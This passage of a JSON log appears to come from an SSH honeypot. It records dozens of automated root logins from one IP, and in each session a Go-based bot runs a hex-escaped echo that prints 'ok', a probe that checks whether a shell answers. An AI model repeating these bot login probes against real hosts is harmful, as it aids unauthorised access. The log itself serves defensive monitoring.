  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:44.621766+00:00",
  "ended_at": "2026-08-23T09:41:46.315006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa4600da-1acd-4965-960f-3b0863bdc50d",
  "name": "sunlit-blunt-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:42.528049+00:00",
  "ended_at": "2026-08-23T09:41:43.966019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c8c6c74-313b-40d7-a4cc-3d91cfb879c5",
  "name": "fleeting-supple-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:40.926080+00:00",
  "ended_at": "2026-08-23T09:41:41.813998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bf631a7-0d64-4883-93e3-8eb5cd614596",
  "name": "wooded-polar-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:38.851198+00:00",
  "ended_at": "2026-08-23T09:41:40.098377+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87991510-e96e-4bb4-a334-204d31d858d0",
  "name": "eager-jaunty-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:36.162074+00:00",
  "ended_at": "2026-08-23T09:41:38.189001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a4982364-0ff9-4ebf-84da-043244ebc147",
  "name": "lucid-rugged-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:33.896448+00:00",
  "ended_at": "2026-08-23T09:41:35.334328+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "04d991cd-60f4-4574-8574-5a8af7c0b81d",
  "name": "hazy-thawing-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:31.859070+00:00",
  "ended_at": "2026-08-23T09:41:33.148000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f57d0bb-2b00-4263-bcb7-ad0ce19f1215",
  "name": "solar-gritty-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:29.677068+00:00",
  "ended_at": "2026-08-23T09:41:31.144998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b43e5324-05df-4b53-ad2d-5e5268c758d1",
  "name": "freckled-fringed-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:27.890080+00:00",
  "ended_at": "2026-08-23T09:41:28.921196+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2426f4a-16a2-4202-ac95-858a1a2e3a01",
  "name": "oaken-nameless-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:25.545072+00:00",
  "ended_at": "2026-08-23T09:41:27.246840+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4dc4515-8b9a-4196-ae8b-8d47b71f60e4",
  "name": "rugged-golden-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:23.350508+00:00",
  "ended_at": "2026-08-23T09:41:24.878177+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "388241f7-acf0-4455-94a2-4946cb3e5926",
  "name": "steady-granite-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33360,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:20.764130+00:00",
  "ended_at": "2026-08-23T09:41:22.732834+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7711bcc1-63f7-42ec-a0e2-c409632b88c6",
  "name": "jovial-faded-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:18.902095+00:00",
  "ended_at": "2026-08-23T09:41:20.143003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2a3c4b3c-4e6e-4227-9d49-5c5b3c9be83b",
  "name": "regal-wandering-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:16.486100+00:00",
  "ended_at": "2026-08-23T09:41:18.219004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a14a859c-5324-4243-a52c-72a60f092655",
  "name": "jaunty-glacial-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:14.782305+00:00",
  "ended_at": "2026-08-23T09:41:15.767999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "690f7547-ee20-428d-9852-2aaf97730484",
  "name": "windswept-primal-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:12.787125+00:00",
  "ended_at": "2026-08-23T09:41:14.049006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a81e8285-305d-442f-94fe-110acef6348f",
  "name": "sturdy-hazy-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:10.353238+00:00",
  "ended_at": "2026-08-23T09:41:12.057001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10a3c1a3-f067-4cc3-96a6-c4f3def7c14a",
  "name": "flinty-plush-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:07.445120+00:00",
  "ended_at": "2026-08-23T09:41:09.568435+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a88776ef-aad8-402e-ba31-21615b188894",
  "name": "breezy-frank-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:05.489742+00:00",
  "ended_at": "2026-08-23T09:41:06.633997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb27ae98-b68d-493f-82be-fcbf33fbc1dd",
  "name": "smooth-bitter-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:02.440397+00:00",
  "ended_at": "2026-08-23T09:41:04.719056+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d053bc6-3cb0-4d02-8033-c1b2789febce",
  "name": "jaunty-cobalt-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:00.243637+00:00",
  "ended_at": "2026-08-23T09:41:01.618045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c587e76-7b8b-4bf6-b702-a77e4afc5fc8",
  "name": "gilded-scarlet-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:57.417407+00:00",
  "ended_at": "2026-08-23T09:40:59.590012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4528daa7-8696-4dd4-a4cb-0cd5b93e5411",
  "name": "tender-gilded-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:54.541113+00:00",
  "ended_at": "2026-08-23T09:40:56.781139+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43bdcff0-dead-4c39-89cd-cf2aeb082882",
  "name": "sunlit-feathered-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:52.304150+00:00",
  "ended_at": "2026-08-23T09:40:53.777128+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "461f474c-254a-4d5c-8e58-cafe77fc074a",
  "name": "proud-feral-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:50.347508+00:00",
  "ended_at": "2026-08-23T09:40:51.573787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6b673d08-494b-44b1-b205-6df8f019a877",
  "name": "chilly-sandy-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:47.733378+00:00",
  "ended_at": "2026-08-23T09:40:49.574494+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67d3a94f-717a-49df-958f-822e6753ce78",
  "name": "bold-austere-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:45.697091+00:00",
  "ended_at": "2026-08-23T09:40:46.851002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba305207-d948-48cd-91c0-96b54dc4a8ab",
  "name": "salty-quaint-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:43.081998+00:00",
  "ended_at": "2026-08-23T09:40:44.895258+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "427afea2-c2c3-483d-8efa-4b3c9abbd916",
  "name": "gloomy-tawny-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:40.230138+00:00",
  "ended_at": "2026-08-23T09:40:42.448053+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c2da02a-376c-49a7-afc1-188ee8e40c81",
  "name": "rambling-blazing-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:37.949095+00:00",
  "ended_at": "2026-08-23T09:40:39.455053+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b09bf25-ca07-43e3-af91-26fbce39153e",
  "name": "cheerful-mottled-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:31.897478+00:00",
  "ended_at": "2026-08-23T09:40:37.264048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22fc9323-bb7e-4b33-a9cb-a796fcf8698b",
  "name": "misty-seaward-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:30.065089+00:00",
  "ended_at": "2026-08-23T09:40:31.058925+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e4b7a0f-f90d-470f-bf47-73c05a855717",
  "name": "hidden-gilded-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46758,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:27.646416+00:00",
  "ended_at": "2026-08-23T09:40:29.254006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb5de0bc-8683-4dc7-94bf-a9faa7f94681",
  "name": "jaunty-misty-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:23.649337+00:00",
  "ended_at": "2026-08-23T09:40:27.004001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d943314-0596-4ae9-859b-5246ce326b11",
  "name": "coral-painted-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:20.184225+00:00",
  "ended_at": "2026-08-23T09:40:22.979994+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b3199ac7-b748-4a45-8ef3-14ca5cb87ca3",
  "name": "windswept-upland-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:18.213881+00:00",
  "ended_at": "2026-08-23T09:40:19.542381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7e1e29b-f0e7-4df0-8635-09717bda274e",
  "name": "dusty-loyal-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:15.816661+00:00",
  "ended_at": "2026-08-23T09:40:17.594057+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "77c47e71-36e0-4cef-aaca-167f119c40cf",
  "name": "fabled-ancient-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58430,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:13.584070+00:00",
  "ended_at": "2026-08-23T09:40:15.056017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19721b7d-fa1c-4928-a0f7-b73adfc72211",
  "name": "indigo-barren-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:10.926078+00:00",
  "ended_at": "2026-08-23T09:40:12.880007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08de287a-145b-427f-9359-3e01013642e3",
  "name": "shifting-slender-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:08.780087+00:00",
  "ended_at": "2026-08-23T09:40:10.180002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cdb2789e-4993-468d-ad40-31e51b24ef7d",
  "name": "brave-glassy-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:06.696776+00:00",
  "ended_at": "2026-08-23T09:40:08.097007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "352d6f5b-90eb-43c0-83d7-56f5dbe51588",
  "name": "rugged-ivory-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:04.693254+00:00",
  "ended_at": "2026-08-23T09:40:05.928222+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "387db0fc-a236-4488-86f5-821bf65549a4",
  "name": "courtly-jaunty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:02.774603+00:00",
  "ended_at": "2026-08-23T09:40:03.954066+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5adad2ce-bea5-4754-a922-dffe3f1c3ce0",
  "name": "cobalt-jaunty-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:40:00.185080+00:00",
  "ended_at": "2026-08-23T09:40:01.955077+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b6291eb-cc93-43b4-9caa-16e468c445ac",
  "name": "peaty-plush-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:58.100136+00:00",
  "ended_at": "2026-08-23T09:39:59.454003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "92afebec-76b0-4717-b730-d280da40aace",
  "name": "feral-leafy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:53.711067+00:00",
  "ended_at": "2026-08-23T09:39:57.290009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03b1b7a8-ca45-4cf5-999f-c7997a0c4418",
  "name": "nameless-northern-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:51.009124+00:00",
  "ended_at": "2026-08-23T09:39:52.896306+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9f77f59-afc5-4f98-b9bd-a9e275521010",
  "name": "jaunty-grassy-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:49.032061+00:00",
  "ended_at": "2026-08-23T09:39:50.176002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ec8469dc-1976-4955-8ebf-5032a983b9d7",
  "name": "blazing-daring-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:46.554151+00:00",
  "ended_at": "2026-08-23T09:39:48.357187+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00a76526-3c79-4b3c-baa5-6b3db9ccde9c",
  "name": "proud-oaken-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
